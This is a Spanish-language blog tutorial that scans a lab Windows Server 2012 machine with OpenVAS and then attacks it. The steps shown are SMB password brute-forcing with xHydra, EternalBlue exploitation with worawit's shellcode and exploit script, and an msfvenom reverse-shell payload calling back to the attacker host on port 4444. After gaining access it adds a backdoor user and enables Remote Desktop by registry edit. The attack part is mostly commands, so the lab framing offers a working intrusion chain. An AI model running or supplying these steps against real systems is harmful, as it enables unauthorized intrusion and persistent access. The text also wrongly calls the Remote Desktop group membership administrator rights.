OPENVAS – Explorando tu Servidor

OPENVAS – Explorando tu Servidor

por Manuel Stirk
manuel[email protected]

En esta ocasión usaremos este framework para buscar vulnerabilidades y tratar de explotarlas en nuestros servidores con ayuda de metasploit, no es una explicación sobre todas las funciones que este trae, si no como escanear nuestro servidor para conocer si tiene vulnerabilidades y el cómo explotarlas.

OpenVAS es un escáner de vulnerabilidades completo. Sus capacidades incluyen pruebas no autenticadas, pruebas autenticadas, varios protocolos industriales y de Internet de alto y bajo nivel, ajuste de rendimiento para exploraciones a gran escala y un poderoso lenguaje de programación interno para implementar cualquier tipo de prueba de vulnerabilidad.”

Para nuestro laboratorio se usara:

–  2 máquinas virtuales
1 Kali Linux
1 Windows Server 2012
–     Nasm
–     Python
–     Metasploit
–     xHydra
–     Remmina
–     Payload
–     OpenVas

Lo primero será instalar OpenVas:

sudo apt install openvas

Después de instalar configuraremos con:

sudo openvas-setup

Una vez que termine la configuración mostrara los datos que se crearon para el acceso:
Para iniciarlo:

sudo openvas-start

Abrirá tu navegador default en la ruta que menciona en la imagen anterior, si no lo abre, pues toca abrirlo uno e ingresar la dirección manual no olvidando poner el “https” –  https://localhost:9392

Ya que ingresemos nuestros datos nos mostrara el Dashboard:
Nos dirigimos al apartado de scans -> Tasks
Una vez en ese modulo en la parte superior izquierda encontramos el asistente para crear una tarea:
Ingresamos la ip de nuestro servidor prueba en este caso; 10.0.2.8 y damos clic en “Start Scan”, esto demorara algo por lo que hay que tener un poco de paciencia.
Ya que termine el escaneo veremos listados nuestros escaneos donde daremos clic en el nombre para conocer los detalles de estos;
Indica que ya termino y que duro el escaneo 4minutos con 10 segundos, podremos ver los resultados del escaneo dando clic en el número de resultados:
Los ordenamos según la gravedad de la vulnerabilidad para visualizar primero lo más grave, y esto lo hacemos dando clic en severity para ordenarlo de este modo ya sea ascendiente o descendiente:

Vulnerability: Nos muestra la vulnerabilidad encontrada.
Solution Type: El tipo de solución que se debe realizar hacia la vulnerabilidad encontrada.
Severity: Dice la gravedad de la vulnerabilidad. QoD: Calidad de detección.
Host: Host Escaneado.
Location: Puerto donde se detectó. Created: Fecha y hora del reporte.

Revisando las vulnerabilidades que menciona en este caso, solo se obtiene información como puertos abiertos, sistema operativo, etc; Pero no es una vulnerabilidad como tal para ejecutar algún exploit en concreto, pero si aprovecharemos esta información para realizar un bruteforce hacia los puertos 445(SMB) y 3389 (Remote Desktop).

Para ello debemos tener listas tanto de usuarios como de contraseñas, las cuales las podemos generar y unir con algunas ya existentes que pueden descargar de los siguientes enlaces:

https://packetstormsecurity.com/Crackers/wordlists/
https://wiki.skullsecurity.org/Passwords

Ya que armamos nuestras listas, abriremos xhydra:

Llenamos los campos que sean necesarios:

Pestaña Target:
  – Single Target: 10.0.2.8
– Port: 445
– Protocol: smb

Pestaña Passwords:
  – Username List – Seleccionamos la lista
– Password List – Seleccionamos la lista

Ahora damos clic en start, y veamos que tan buenas son nuestras listas; Este proceso es algo tardado dependiendo de las listas:

Y listo, tenemos 2 usuarios con sus contraseñas.

Ahora teniendo en cuenta que es Winwdows Server 2012, y que ya tenemos usuario y contraseña por muy bajo que sean los privilegios de este podremos escalar a administrador con ayuda del exploit de eternalblue.

Para este tema pegare parte de otro artículo “El poderoso SMB”.

Para preparar el payload lo primero será descargar la kernel shellcode desarrollada por worawit: https://gist.github.com/worawit/05105fce9e126ac9c85325f0b05d6501#file- eternalblue_x64_kshellcode-asm

Guardamos el archivo y utilizamos NASM para ensamblar la kernel shellcode:

nasm -f bin eternalblue_x64_kshellcode.asm

Ahora usaremos msfvenom para crear el payload donde obtendremos una reverse Shell:

msfvenom -p windows/x64/shell/reverse_tcp -f raw -o shell.bin EXITFUNC=thread

LHOST=10.0.2.10 LPORT=4444

Concatenamos una vez que ya tengamos la Shell.bin (Userland Shellcode) con la kernel shellcode ya ensamblada:

cat eternalblue_x64_kshellcode shell.bin > reverse_shell.bin

modificamos el exploit creado también por worawit que podemos descargar de:
https://gist.github.com/worawit/074a27e90a3686506fc586249934a30e

Editamos las líneas 52 y 53 agregando el usuario mimi:
– USERNAME=’mimi’
– PASSWORD=’Password456′

Antes de ejecutar el exploit.py, nos aseguramos de tener a la escucha el puerto 4444 con ayuda de metasploit:

Ahora a ejecutar el exploit:

python exploit.py 10.0.2.8 reverse_shell.bin 500

El cual nos dará respuesta como esta:

Y recibiremos la conexión en la terminal de metasploit donde teníamos en escucha:

Ahora vemos que estamos con los privilegios más altos de Windows:

Es decir que tendremos acceso a todo, ahora lo que haremos será crear un usuario con privilegios de administrador:

net user /add test Pepito456

Como muestra la imagen arriba, creamos el usuario satisfactoriamente, ahora hay que agregarlo al grupo de administradores.

Net localgroup “Remote Desktop Users” test /add

Nuestro usuario “test” ya tiene privilegios de administrador y sigue simplemente ya conectarnos por remote desktop, en este ejercicio se habilito la máquina para esto, pero igual desde la consola podemos habilitarlo en dado caso que no lo este de la siguiente manera:

reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f

Para conectarnos por remote desktop usaremos remmina, donde al conectarnos nos pedirá los datos del usuario que acabamos de crear:

 

 

 

 

 

Y listo, tendremos control total del server:

Deja un comentario